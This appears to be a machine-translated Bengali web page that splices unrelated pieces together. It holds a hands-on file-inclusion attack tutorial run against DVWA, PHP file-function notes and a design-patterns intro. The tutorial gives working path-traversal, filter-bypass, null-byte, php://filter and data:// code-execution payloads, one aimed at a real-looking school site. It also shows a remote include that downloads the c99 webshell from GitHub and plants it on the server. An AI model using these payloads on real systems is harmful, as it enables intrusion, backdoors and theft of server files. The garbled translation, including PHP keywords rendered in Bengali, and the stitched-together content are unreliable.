কাল্পনিক ভিউ পিএইচপি ফাইল। ফাইল - একটি ফাইলের বিষয়বস্তু পড়ে এবং এটি একটি অ্যারেতে রাখে। সার্ভারে ফাইল নিয়ে কাজ করা
কখনও কখনও ফাইল ইনজেকশনকে অন্তর্ভুক্ত করা হয়, কখনও কখনও এটি পিএইচপি ইনজেকশন (কোড ইনজেকশন) এর অংশ হিসাবে বিবেচিত হয়। পরবর্তীটি সম্পূর্ণ সত্য নয়, যেহেতু ফাইল ইনজেকশন দুর্বলতাগুলি অগত্যা কোড সম্পাদনের সাথে সম্পর্কিত নয়।
(PHP-তে) এক্সপ্রেশন ব্যবহার করার সময় দুর্বলতা ঘটতে পারে যেমন:
- প্রয়োজন_একবার,
- অন্তর্ভুক্ত_একবার,
- অন্তর্ভুক্ত,
- প্রয়োজন
তাদের প্রত্যেকেরই ছোট ছোট সূক্ষ্মতা রয়েছে, তবে তাদের মধ্যে যা মিল রয়েছে তা হল তারা প্রোগ্রামে একটি ফাইল অন্তর্ভুক্ত করে এবং এটি চালায়। এই অভিব্যক্তিগুলি সমস্যা সৃষ্টি করতে পারে যদি তারা ব্যবহারকারীর ইনপুট পাস করে এবং প্রোগ্রামটি যথেষ্ট পরিমাণে ফিল্টার না করে।
যাইহোক, হ্যাঁ, এগুলি এক্সপ্রেশন, ফাংশন নয়। এই মত লেখার প্রয়োজন নেই:
প্রয়োজন("somefile.php");
একটি আরো পছন্দনীয় বিকল্প হল:
"somefile.php" প্রয়োজন;
কিন্তু এটি একটি পশ্চাদপসরণ যার সাথে দুর্বলতার কোন সম্পর্ক নেই।
প্রয়োজন_একটি এক্সপ্রেশন ব্যবহার করে ফাইলগুলি অন্তর্ভুক্ত করা হলে, অন্তর্ভুক্ত করা, প্রয়োজন, তাহলে আমরা বলতে পারি যে কোড ইনজেকশনও একই সময়ে ঘটে। যাইহোক, সার্ভারে চলমান কোড ছাড়াই ফাইলগুলি অন্তর্ভুক্ত করা সম্ভব। উদাহরণস্বরূপ, ব্যবহারকারীর নির্বাচিত থিমের উপর ভিত্তি করে একটি ওয়েবসাইট তার চেহারা পরিবর্তন করে। থিমগুলির নাম সার্ভারে পড়া HTML ফাইলগুলির নামের সাথে মিলে যায়। এই পরিস্থিতিতে, যদি অনুরোধটি এমনভাবে তৈরি করা হয় যে এমন একটি ফাইল পড়ার জন্য যা এটির উদ্দেশ্যে নয় (উদাহরণস্বরূপ, একটি পিএইচপি ফাইল), তাহলে কমান্ডগুলি চালানোর পরিবর্তে, পিএইচপি সোর্স কোড প্রদর্শিত হবে।
ব্যবহারকারী অন্তর্ভুক্তি ফাইল হিসাবে একটি দূরবর্তী বা স্থানীয় ফাইল নির্দিষ্ট করতে পারেন। এর উপর ভিত্তি করে, দুটি সংশ্লিষ্ট জাত আলাদা করা হয়:
- স্থানীয় ফাইল ইনজেকশন
- রিমোট ফাইল ইনজেকশন
দূরবর্তী অন্তর্ভুক্তির বিপদ হল একটি দুর্বল সার্ভারে নির্বিচারে কোড কার্যকর করা। এটি সাধারণত ব্যাকডোর ইনফেকশনের জন্য ব্যবহৃত হয়।
স্থানীয় ফাইল ইনজেকশনের বিপদ হল যে ব্যবহারকারী ফাইলগুলির বিষয়বস্তু প্রদর্শন করতে পারে যা দেখার অধিকার তার নেই (প্রোগ্রাম সোর্স কোড, সেটিংস এবং পাসওয়ার্ড সহ সিস্টেম ফাইল)। এছাড়াও, স্থানীয় অন্তর্ভুক্তির সাথে, তৃতীয় পক্ষের কোড চালানো সম্ভব (উদাহরণস্বরূপ, ব্যাকডোর ইনফেকশনের জন্য), যদি ক্ষতিকারক কোড সহ একটি ফাইল আগে সার্ভারে আপলোড করা হয়, বা লগ বিষাক্ত পদ্ধতি ব্যবহার করা হয়, বা অন্য কিছু পদ্ধতি।
ফাইলগুলির স্থানীয় অন্তর্ভুক্তি দূরবর্তী ফাইলগুলির প্রবর্তনের চেয়ে কম বিপজ্জনক নয়।
স্থানীয় ফাইল এম্বেডিং শোষণআপনি ড্যাম ভালনারেবল ওয়েব অ্যাপ্লিকেশন (ডিভিডব্লিউএ)-এ এই দুর্বলতার জন্য আপনার হাত চেষ্টা করতে পারেন। আমি ওয়েব সিকিউরিটি ডোজো ব্যবহার করছি, যেখানে DVWA ইতিমধ্যেই ইনস্টল করা আছে।
চলুন একটি নিম্ন স্তরে শুরু করা যাক (নিম্ন DVWA নিরাপত্তা)।
চলুন ফাইল অন্তর্ভুক্তি পৃষ্ঠায় যাই http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
যদি একটি ফাইলের নামের অনুরূপ একটি মান (file1.php, file2.php) একটি ভেরিয়েবলের আর্গুমেন্ট হিসাবে পাস করা হয়, তাহলে আমরা অনুমান করতে পারি যে একটি অন্তর্ভুক্ত ব্যবহার করা হচ্ছে। যেহেতু ফাইল এক্সটেনশনটি .php, ফাইলটি সম্ভবত সার্ভারে কার্যকর করা হয় (যেমন কোড ইনজেকশন সম্ভব) এবং শুধুমাত্র প্রদর্শনের জন্য প্রদর্শিত হয় না।
DVWA এর একটি পৃষ্ঠা রয়েছে http://localhost/dvwa/about.php, এটি দুই স্তর উপরে অবস্থিত, আসুন এটিকে এভাবে দেখার চেষ্টা করি: http://localhost/dvwa/vulnerabilities/fi/?page=../। ./ about.php
হ্যাঁ, একটি স্থানীয় অন্তর্ভুক্তি দুর্বলতা আছে। প্রবেশ করার সময়, উপরের ডিরেক্টরিতে (../) রূপান্তরগুলি ফিল্টার করা হয় না; অন্তর্ভুক্তির জন্য ফাইলগুলির তালিকা সম্পূর্ণ নয় (প্রস্তাবিত ফাইল*.php এর পরিবর্তে, আমরা about.php বেছে নিয়েছি)।
কখনও কখনও অন্তর্ভুক্ত ফাইল ব্যবহার করা হয়, কিন্তু ঠিকানা দেখতে পারে, উদাহরণস্বরূপ, এই মত: http://localhost/dvwa/vulnerabilities/fi/?page=file1. এই ক্ষেত্রে, স্ক্রিপ্টে একটি এক্সটেনশন যোগ করা যেতে পারে এবং স্ক্রিপ্টটি একটি ফাইল এম্বেড করে যার নামটি স্ক্রিপ্টে শেষ পর্যন্ত গঠিত হয়। সাধারণত, এই ফর্মের একটি দুর্বলতা শোষণ করা কঠিন/অসম্ভব।
প্রায়শই লোকেরা স্থানীয় ফাইল অন্তর্ভুক্তি শোষণের উদাহরণ হিসাবে এরকম কিছু দিতে পছন্দ করে:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
আমরা দেখতে পাচ্ছি, এটি কাজ করেছে। কিন্তু যেহেতু ওয়েব ব্রাউজারগুলি /r/n (নতুন লাইনের অক্ষর) উপেক্ষা করে, তাই এন্ট্রিগুলি পাঠযোগ্য করার জন্য আমাদের কোডটি ওপেন সোর্স করতে হবে:
দুর্ভাগ্যবশত, /etc/passwd ফাইলে দীর্ঘ সময়ের জন্য কোনো পাসওয়ার্ড নেই।
সার্ভার থেকে আপনি বিভিন্ন সেটিংস ফাইল, SSL সার্টিফিকেট, নীতিগতভাবে, সমস্ত ব্যবহারকারীর পড়ার জন্য খোলা যেকোন ফাইল বা যার জন্য ওয়েব সার্ভারের পড়ার জন্য যথেষ্ট অধিকার রয়েছে তা টানতে পারেন:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf
শেয়ার্ড হোস্টিং-এর ক্ষেত্রে, কখনও কখনও অন্য লোকেদের ফোল্ডারগুলি (আবার, যদি ব্যবহারকারীর অধিকারগুলি ভুলভাবে কনফিগার করা হয়) অনুসন্ধান করা সম্ভব।
http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db
কাজটি এই কারণে জটিল যে আমাদের ফাইলের পথটি জানতে হবে।
রিমোট ফাইল ইনজেকশন অপারেশনপিএইচপি একটি খুব নমনীয় এবং বিকাশকারী-বান্ধব প্রোগ্রামিং ভাষা। ফাইল এমবেডিং কমান্ড এবং কিছু অন্যরা শুধুমাত্র স্থানীয় ফাইলগুলিই নয়, URLগুলিকেও পুরোপুরি চিনতে এবং সঠিকভাবে প্রক্রিয়া করে...
আসুন ফাইলের নামের পরিবর্তে সাইটের URL https://site/ লেখার চেষ্টা করি:
http://localhost/dvwa/vulnerabilities/fi/?page=https://site/
দেখুন এটি কতটা আকর্ষণীয় হয়ে উঠেছে:
নিম্নলিখিতটি ঘটেছে: পিএইচপি দোভাষী ফাইল/সাইট https://site/ অন্তর্ভুক্ত করার জন্য একটি কমান্ড পেয়েছে। তিনি সংশ্লিষ্ট ঠিকানাটি খুললেন/ডাউনলোড করলেন এবং ফলস্বরূপ কোডটি পিএইচপি প্রোগ্রাম হিসাবে কার্যকর করার জন্য পাঠিয়েছিলেন। যেহেতু PHP শুধুমাত্র উপযুক্ত ট্যাগ দ্বারা বেষ্টিত কোডটি কার্যকর করে (এই ক্ষেত্রে কোনও কোড ছিল না) এবং অন্য সবকিছু যেমন আছে তেমন আউটপুট করে, পুরো ওয়েবসাইট পৃষ্ঠাটি যেমন আছে তেমনই আউটপুট।
অবশ্যই, এই দুর্বলতা আমাদের কাছে আকর্ষণীয় নয় কারণ আমরা একটি সাইটের মাধ্যমে অন্যান্য সাইট দেখতে পারি।
আমি "টেক্সট" শব্দটি হাইলাইট করেছি এই কারণে যে আমাদের নিয়ন্ত্রণের অধীনে সার্ভারে একটি পাঠ্য ফাইল থাকা উচিত যা আমাদের সার্ভারে কার্যকর করা উচিত নয়। আমাদের সার্ভার শুধুমাত্র তার বিষয়বস্তু প্রদর্শন করতে হবে.
একটি ব্যাকডোর তৈরি করতে, আপনি Weevely, PhpSploit ব্যবহার করতে পারেন বা আপনি প্রস্তুত সমাধান নিতে পারেন। এবার একটা রেডিমেড ব্যবহার করা যাক।
আমি $backdoor ভেরিয়েবলকে ব্যাকডোরের সোর্স কোড বরাদ্দ করব, যা আমি Github থেকে ডাউনলোড করি। তারপর আমি c99unlimited.php ফাইলে ফলাফলের সোর্স কোড সংরক্ষণ করতে file_put_contents ফাংশন ব্যবহার করি।
কোডটি আমি একটি টেক্সট ফাইলে রেখেছি
$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); প্রতিধ্বনি "হয়েছে!";
এটি http://miloserdov.org/sec.txt এ উপলব্ধ
এখন, একটি দূরবর্তী অন্তর্ভুক্ত ব্যবহার করে, আমরা একটি দুর্বল সার্ভারে একটি ব্যাকডোর আপলোড করি।
http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt
করা শিলালিপিতে মনোযোগ দিন!, এটি স্ক্রিপ্ট দ্বারা প্রদর্শিত হয়, যেমন সবকিছু সম্ভবত কাজ করে.
যেহেতু ফাইলগুলিকে অন্তর্ভুক্ত করে এমন স্ক্রিপ্টটি http://localhost/dvwa/vulnerabilities/fi/ ডিরেক্টরিতে অবস্থিত, এবং ব্যাকডোর সহ আমাদের নতুন ফাইলটি c99unlimited.php নামের সাথে সংরক্ষণ করা উচিত ছিল, ব্যাকডোরের সম্পূর্ণ ঠিকানা দুর্বল সার্ভারটি হওয়া উচিত: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php
আমরা পরীক্ষা করি:
দুর্দান্ত, এখন আমাদের কাছে ওয়েব সার্ভার প্রশাসকের প্রয়োজনীয় সমস্ত বৈশিষ্ট্য রয়েছে... এবং যাদের তাদের সার্ভারে অ্যাক্সেস রয়েছে।
স্থানীয়ভাবে ফাইল অন্তর্ভুক্ত করার সময় ফিল্টারিং বাইপাস করুনচলুন নিরাপত্তার মাঝারি স্তরে চলে যাই (DVWA সিকিউরিটিতে কনফিগারযোগ্য)।
যদি আমরা সোর্স কোড দেখি (উৎস বোতাম দেখুন):
তারপর আমরা দেখতে পাব যে ../ অক্ষরগুলি এখন ফিল্টার করা হয়েছে। এটি আমাদেরকে দুর্বল স্ক্রিপ্টের চেয়ে উচ্চতর একটি ডিরেক্টরিতে যেতে বাধা দেবে।
সেগুলো. কিছুই এই মত কাজ করবে না:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf
আসুন চিন্তা করি এই ক্ষেত্রে ফিল্টারিং কিভাবে কাজ করে? ধরা যাক "খারাপ" শব্দটি ফিল্টার করা হয়েছে, তারপর একটি লাইনের মতো
ভালো খারাপ ভালো
ফিল্টার করার পরে এটি এই মত দেখাবে:
ভালো ভালো
এবং যদি আপনি এই মত একটি লাইন সন্নিবেশ
খারাপ খারাপ xo
তারপর ফিল্টার করার পরে ("খারাপ" সরানো হবে) এটি চালু হবে
খারাপভাবে
../ আমরা ঢোকাই ../ মাঝখানে আবার, দেখা যাচ্ছে ..././
আসুন এই ঠিকানাটি চেষ্টা করি http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/…/./…/…/…/…/…/./etc/mysql / my.cnf
এটা কাজ করেছে!
আরেকটি সমাধান হতে পারে হেক্সাডেসিমেল এনকোডিং-এ অক্ষর এনকোড করা, এই লাইনের একটি উদাহরণ:
http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
"../" কে "%2E%2E%2f" দিয়ে প্রতিস্থাপন করা যেতে পারে।
ডাবল হেক্স এনকোডিংও অনুশীলন করা হয়, যেখানে “../” প্রতিস্থাপিত হয় “%252E%252E%252F”
একটি স্ক্রিপ্টে একটি এক্সটেনশন যোগ করার সময় ফাইলগুলির স্থানীয় অন্তর্ভুক্তিযদি ফাইল সহ কোডটি এরকম দেখায়:
সেগুলো. যদি কোনো ব্যবহারকারীর ইনপুটে একটি .php বা অন্য কোনো এক্সটেনশন যোগ করা হয়, তাহলে এটি এমনভাবে অনুরোধ তৈরি করার অনুমতি দেয় না যাতে আক্রমণ চালানো যায়।
এক্সটেনশন বাতিল করার জন্য ডিজাইন করা হয়েছে এমন বেশ কয়েকটি কৌশল রয়েছে, তবে সেগুলি অপ্রচলিত বলে বিবেচিত হতে পারে যেহেতু তারা PHP 5.3 এ কাজ করে এবং তারপরেও সমস্ত সংস্করণ নয়৷ যাইহোক, ওয়েব সার্ভার অ্যাডমিনিস্ট্রেটররা ক্লিনিক্যালি রক্ষণশীল এবং এটি কাজ করলে কিছু স্পর্শ না করতে পছন্দ করে। সেগুলো. PHP-এর একটি অতি প্রাচীন সংস্করণ সহ একটি সার্ভারের সম্মুখীন হওয়ার সুযোগ রয়েছে এবং আপনার এই কৌশলগুলি সম্পর্কে সচেতন হওয়া উচিত।
নাল বাইট %00 ব্যবহার করে (নাল বাইট)
এক্সটেনশন উপেক্ষা করার অনুরোধের শেষে একটি নাল বাইট যোগ করা হয়:
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00
দ্বিতীয় পদ্ধতিটিকে পথ ছাঁটাই আক্রমণ বলা হয়। নীচের লাইন হল যে পিএইচপি 4096 বাইটের চেয়ে দীর্ঘ পথগুলিকে ছোট করে। এই ক্ষেত্রে, পিএইচপি ফাইলটি সঠিকভাবে খোলে, এমনকি যদি এর নামের শেষে স্ল্যাশ এবং ডট থাকে। আপনি যদি প্যারামিটার হিসেবে পাস করেন যেমন?param1=../../../../etc/passwd/./././././ (যেখানে ./ হাজার হাজার বার পুনরাবৃত্তি হয়), তাহলে এক্সটেনশনের সাথে শেষ ফাইলটি (যা স্ক্রিপ্ট যোগ করেছে, যার ফলস্বরূপ ফাইলের নাম অন্তর্ভুক্ত হয়েছে/../../../../etc/passwd/./././././ .php) বাতিল করা হবে। এবং ফাইলের নাম অন্তর্ভুক্ত হবে/../../../../etc/passwd/./././././. এবং যেহেতু পিএইচপি ফাইলের শেষে স্ল্যাশ এবং ./ দ্বারা বিভ্রান্ত হয় না, এটি কেবল সেগুলিকে উপেক্ষা করে, মোট পিএইচপি ফাইলটিকে পথ বরাবর খুলবে/../../../../etc/ পাসওয়াড
দূরবর্তী ফাইল ইনজেকশন জন্য ফিল্টারিং বাইপাসআমরা ইতিমধ্যে সোর্স কোডে দেখেছি, মাঝারি নিরাপত্তা স্তরটি http:// এবং https:// ফিল্টার করে।
এখন http://localhost/dvwa/vulnerabilities/fi/? স্থানীয় অন্তর্ভুক্তির সাথে ফিল্টারিং বাইপাস করার জন্য আমরা ঠিক একই কৌশল ব্যবহার করব। উত্পন্ন অনুরোধ:
http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/
এবং এটিও নোট করুন যে এটি ফিল্টার করা হয় না, উদাহরণস্বরূপ ftp, i.e. এই বিকল্পটি কোন কৌশল ছাড়াই কাজ করবে:
http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/
php://filter থেকে ফাইলগুলি অন্তর্ভুক্ত করার সময় PHP স্ক্রিপ্টগুলির উত্স কোড প্রাপ্ত করাএই কৌশলটির জন্য দূরবর্তী ফাইল অন্তর্ভুক্তির প্রয়োজন নেই। এক ধরনের মেটা র্যাপার php://filter ব্যবহার করা হবে।
ধরা যাক আমরা ফাইল 1.php ফাইলের সোর্স কোড দেখতে চাই, তাহলে আমাদের পরিস্থিতির জন্য অনুরোধটি এইভাবে তৈরি করা হবে:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
অক্ষর এবং সংখ্যার অর্থহীন স্ট্রিং মনোযোগ দিন - এটি base64 এনকোডিং ফাইল file1.php এর সোর্স কোড। যেহেতু এটি base64, তাই বাইনারি ফাইলগুলিও সমর্থিত।
ফাইলটি ডিকোড করা যাক:
php://input সহ রিমোট কোড এক্সিকিউশনএটি ফাইল এম্বেডিংয়ের মতো নয় এবং আবার আপনাকে ফাইল আপলোড করার প্রয়োজন নেই।
সাহায্য করার জন্য, আমি ফায়ারফক্স এক্সটেনশন ব্যবহার করব, আপনি এটি বা অন্য কোনও প্রোগ্রাম (উদাহরণস্বরূপ, কার্ল) ব্যবহার করতে পারেন যা POST পদ্ধতি ব্যবহার করে ডেটা স্থানান্তর করতে পারে।
php://input-এর এইচটিটিপি অনুরোধের কাঁচা অংশে অ্যাক্সেস রয়েছে, অন্তর্ভুক্ত("php://input") কী করে তা বোঝার জন্য, পৃষ্ঠাটি খুলুন
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
এবং অনুরোধের অংশে, সঠিক PHP কোড পাঠান (উদাহরণস্বরূপ, POST পদ্ধতি ব্যবহার করে)। এটি আপনাকে রিমোট সার্ভারে অনুমোদিত যেকোন ফাংশন সম্পাদন করার অনুমতি দেবে!
ডেটা সহ রিমোট কোড এক্সিকিউশন:
উপরন্তু, PHP data:// URL স্কিম সমর্থন করে। আপনি কোডটি সরাসরি GET প্যারামিটারে রাখতে পারেন! নিম্নলিখিত পরীক্ষায় কোনো বিশেষ সরঞ্জামের প্রয়োজন হয় না, আক্রমণ করার জন্য শুধুমাত্র একটি নিয়মিত ব্রাউজার।
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,
কিছু ওয়েব অ্যাপ্লিকেশন ফায়ারওয়াল একটি URL-এ একটি সন্দেহজনক স্ট্রিং লক্ষ্য করতে পারে এবং দূষিত অনুরোধ ব্লক করতে পারে। কিন্তু অন্তত base64 এনকোডিং সহ স্ট্রিং এনক্রিপ্ট করার একটি উপায় আছে:
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
/proc/self/environ থেকে নির্বিচারে আদেশ চালান/proc/self/environ হল প্রক্রিয়া পরিবর্তনশীল স্টোরেজ। যদি Apache প্রক্রিয়ার এটি অ্যাক্সেস করার পর্যাপ্ত অধিকার থাকে, তাহলে একটি ওয়েব পৃষ্ঠা খোলার সময় যেখানে একটি অনুরূপ URL সহ একটি অন্তর্ভুক্ত রয়েছে,
www.website.com/view.php?page=../../../../../proc/self/environ
মত কিছু আউটপুট হবে
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../ ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 সংস্করণ/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=REQUEST_METHOD=GET REQUEST_INdex.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx। 1xx.6x [ইমেল সুরক্ষিত] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
HTTP_USER_AGENT-এ মনোযোগ দিন। পরিবর্তে, আপনি সঠিক PHP কোড প্রতিস্থাপন করতে পারেন, যা একটি দূরবর্তী সার্ভারে কার্যকর করা হবে।
স্থানীয়ভাবে ফাইলগুলি অন্তর্ভুক্ত করার সময় লগের এচিং এবং ইনজেকশনদুর্ভাগ্যবশত, এই পদ্ধতিটি আর Apache এর সাম্প্রতিক সংস্করণে কাজ করে না।
এর সারমর্ম এই যে আক্রমণকারীর কোডটি ওয়েব সার্ভার লগগুলিতে ইনজেকশনের মধ্যে রয়েছে। এটি User-Agent প্রতিস্থাপন করে বা GET প্যারামিটারে এটিকে পাস করার মাধ্যমে করা যেতে পারে।
একটি দূরবর্তী ফাইলের স্ট্যাটিক ইনজেকশনএকটি স্ট্যাটিক উদাহরণ অন্তর্ভুক্ত:
আপনি খুব বহিরাগত পরিস্থিতিতে একটি স্ট্যাটিক অন্তর্ভুক্তি ব্যবহার করতে পারেন। দূষিত কোড ইনজেক্ট করার জন্য, দুটি সার্ভারের মধ্যে একটি ম্যান-ইন-দ্য-মিডল আক্রমণ চালানো প্রয়োজন: যার একটি অন্তর্ভুক্ত ব্যবহার করে ওয়েব অ্যাপ্লিকেশন হোস্ট করে এবং দ্বিতীয়টি অন্তর্ভুক্তির জন্য ব্যবহৃত ফাইলটি হোস্ট করে৷
PHP file_exists("test.txt")//ফাইলটি কি বিদ্যমান? filesize("test.txt");//ফাইলের আকার খুঁজে বের করুন //টাইমস্ট্যাম্পটি ফিরে এসেছে: fileatime("test.txt");//ফাইলটিতে শেষ অ্যাক্সেসের তারিখ //date("d M Y") , $atime); filemtime("test.txt");//ফাইল পরিবর্তনের তারিখ //date("d M Y", $mtime); filectime("test.txt");//ফাইল তৈরির তারিখ (Windows) //date("d M Y", $ctime); ফাইল: অপারেটিং মোড পিএইচপি রিসোর্স ফোপেন (স্ট্রিং ফাইলের নাম, স্ট্রিং মোড) // রিসোর্স - সফলতার ক্ষেত্রে ফাইলে একটি পয়েন্টার ফেরত দেয়, বা ত্রুটির ক্ষেত্রে মিথ্যাশুধুমাত্র পঠনযোগ্য ফাইল খুলুন; |
পড়া এবং লেখার জন্য ফাইল খুলুন; |
শুধুমাত্র লেখার জন্য ফাইল খুলুন। যদি এটি বিদ্যমান থাকে, তাহলে ফাইলের বর্তমান বিষয়বস্তু ধ্বংস হয়ে যাবে। বর্তমান অবস্থান শুরুতে সেট করা হয়েছে; |
পড়ার এবং লেখার জন্য ফাইলটি খুলুন। যদি এটি বিদ্যমান থাকে, তাহলে ফাইলের বর্তমান বিষয়বস্তু ধ্বংস হয়ে যাবে। বর্তমান অবস্থান শুরুতে সেট করা হয়েছে; |
লেখার জন্য ফাইল খুলুন। বর্তমান অবস্থান ফাইলের শেষে সেট করা হয়; |
পড়ার এবং লেখার জন্য ফাইলটি খুলুন। বর্তমান অবস্থান ফাইলের শেষে সেট করা হয়; |
বাইনারি ফাইল প্রক্রিয়া করুন। উইন্ডোজে বাইনারি ফাইলগুলির সাথে কাজ করার সময় এই পতাকাটি প্রয়োজন। |
প্রাথমিকভাবে, লেখাটি ফাইলের শুরুতে ঘটবে, বিদ্যমান ডেটা ওভাররাইট করে, যদি থাকে। অতএব, যদি আপনার ফাইলের শেষে কিছু লিখতে হয়, আপনাকে উপযুক্ত রিডিং মোড সেট করতে হবে, উদাহরণস্বরূপ, a+ ।
পিএইচপি ফাইলে কার্সার ম্যানিপুলেট করা PHP int fseek(int fi, int offset [, int wherece]) // কার্সার সেট করা // int fi - ফাইলে পয়েন্টার //offset - অক্ষরের সংখ্যা যা দিয়ে যেতে হবে। //whence: //SEEK_SET - ফাইলের শুরু থেকে আন্দোলন শুরু হয়; //SEEK_CUR - বর্তমান অবস্থান থেকে আন্দোলন শুরু হয়; //SEEK_END - ফাইলের শেষ থেকে আন্দোলন শুরু হয়। fseek($fi, -10, SEEK_END); //শেষ 10টি অক্ষর পড়ুন $s = fread($fi, 10); $pos = ftell($fi); // বর্তমান অবস্থানটি খুঁজে বের করুন রিওয়াইন্ড($f) // কার্সার বুল ফিওফ($f) // ফাইলের শেষ রিসেট করুন পিএইচপি পিএইচপি অ্যারে ফাইলে ফাইল (ডেটা) নিয়ে সরাসরি কাজ করুন (স্ট্রিং ফাইলের নাম) // বিষয়বস্তু পান ফাইলের একটি অ্যারের আকারে // ডাটা ফাইল_গেট_কন্টেন্টস(স্ট্রিং ফাইলের নাম) //পড়া (আমরা পুরো ফাইলটি এক লাইনে পাই) //ফাইলে লেখা (প্রাথমিকভাবে ওভাররাইট) ফাইল_পুট_কন্টেন্টস(স্ট্রিং ফাইলের নাম) এর সাথে সরাসরি কাজ করার আরেকটি বিকল্প , মিশ্র তথ্য[,int ফ্ল্যাগ]); //FILE_APPEND // ফাইলের শেষে লিখুন: file_put_contents("test.txt", "data", FILE_APPEND); //যদি আপনি একটি অ্যারে লেখেন, $array = array("I", "live"); file_put_contents("test.txt",$array); //তারপর আমরা php PHP কপি (স্ট্রিং সোর্স, স্ট্রিং গন্তব্য); // ফাইল রিনেম কপি করা (str oldname, str newname); // ফাইল আনলিঙ্ক (স্ট্রিং ফাইলের নাম) পুনঃনামকরণ করুন; // একটি ফাইল মুছে ফেলা PHP সার্ভারে ফাইল আপলোড করা // PHP.ini সেটিংস file_uploads (অন|অফ) // ফাইল আপলোডের অনুমতি দেওয়া বা নিষ্ক্রিয় করা upload_tmp_dir // আপলোড করা ফাইলগুলির জন্য অস্থায়ী ফোল্ডার। ডিফল্ট অস্থায়ী ফোল্ডার upload_max_filesize (ডিফল্ট = 2 Mb) // সর্বোচ্চ। আপলোড করা ফাইলের আকার post_max_size // পাঠানো ফর্মের মোট আকার (upload_max_filesize এর চেয়ে বড় হতে হবে) //সাধারণ HTML আপলোড আমরা পিএইচপি সার্ভারে ফাইলগুলির সাথে কাজ করি //ডেটা গ্রহণ করি $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["userfile"]["name"]; // ফাইলটি সরান move_uploaded_file($tmp, নাম); move_uploaded_file($tmp, "upload/."name); // ফাইলটিকে আপলোড ফোল্ডারে পুনর্নির্দেশ করুন // বর্তমান ফাইলের সাথে সম্পর্কিত // $_FILES অ্যারে $_FILES["userfile"]["name"] // ফাইলের নাম, উদাহরণস্বরূপ, test.html $_FILES[ "userfile"][" tmp_name"] // অস্থায়ী ফাইলের নাম (পথ) $_FILES["userfile"]["size"] // ফাইলের আকার $_FILES["userfile"]["type"] // ফাইলের প্রকার $ _FILES["userfile"] ["error"] // 0 - কোন ত্রুটি নেই, সংখ্যা - হ্যাঁ অনেক লোক একটি একক কাজের সাথে কাজ করার জন্য একটি প্রকল্প লিখতে শুরু করে, এটি বোঝায় না যে এটি একটি মাল্টি-ইউজার ম্যানেজমেন্ট সিস্টেমে পরিণত হতে পারে, উদাহরণস্বরূপ , বিষয়বস্তু বা, ঈশ্বর নিষেধ করুন, উত্পাদন। এবং সবকিছু দুর্দান্ত এবং দুর্দান্ত বলে মনে হচ্ছে, সবকিছু কাজ করে, যতক্ষণ না আপনি বুঝতে শুরু করেন যে কোডটি লেখা হয়েছে তা সম্পূর্ণরূপে ক্রাচ এবং হার্ড কোড নিয়ে গঠিত। কোডটি লেআউট, প্রশ্ন এবং ক্রাচের সাথে মিশ্রিত হয়, কখনও কখনও এমনকি অপঠনযোগ্য। একটি চাপা সমস্যা দেখা দেয়: নতুন বৈশিষ্ট্যগুলি যোগ করার সময়, আপনাকে "সেখানে কী লেখা ছিল?" মনে রেখে এই কোডটির সাথে দীর্ঘ সময়ের জন্য টিঙ্কার করতে হবে। এবং অতীতে নিজেকে অভিশাপ.আপনি এমনকি ডিজাইন প্যাটার্ন সম্পর্কে শুনেছেন এমনকি এই বিস্ময়কর বইগুলির মাধ্যমে পাতাও শুনেছেন:
- ই. গামা, আর. হেলম, আর. জনসন, জে. ভলিসাইডস "অবজেক্ট-ওরিয়েন্টেড ডিজাইন কৌশল। নকশা নিদর্শন";
- M. Fowler "এন্টারপ্রাইজ সফটওয়্যার অ্যাপ্লিকেশনের আর্কিটেকচার।"
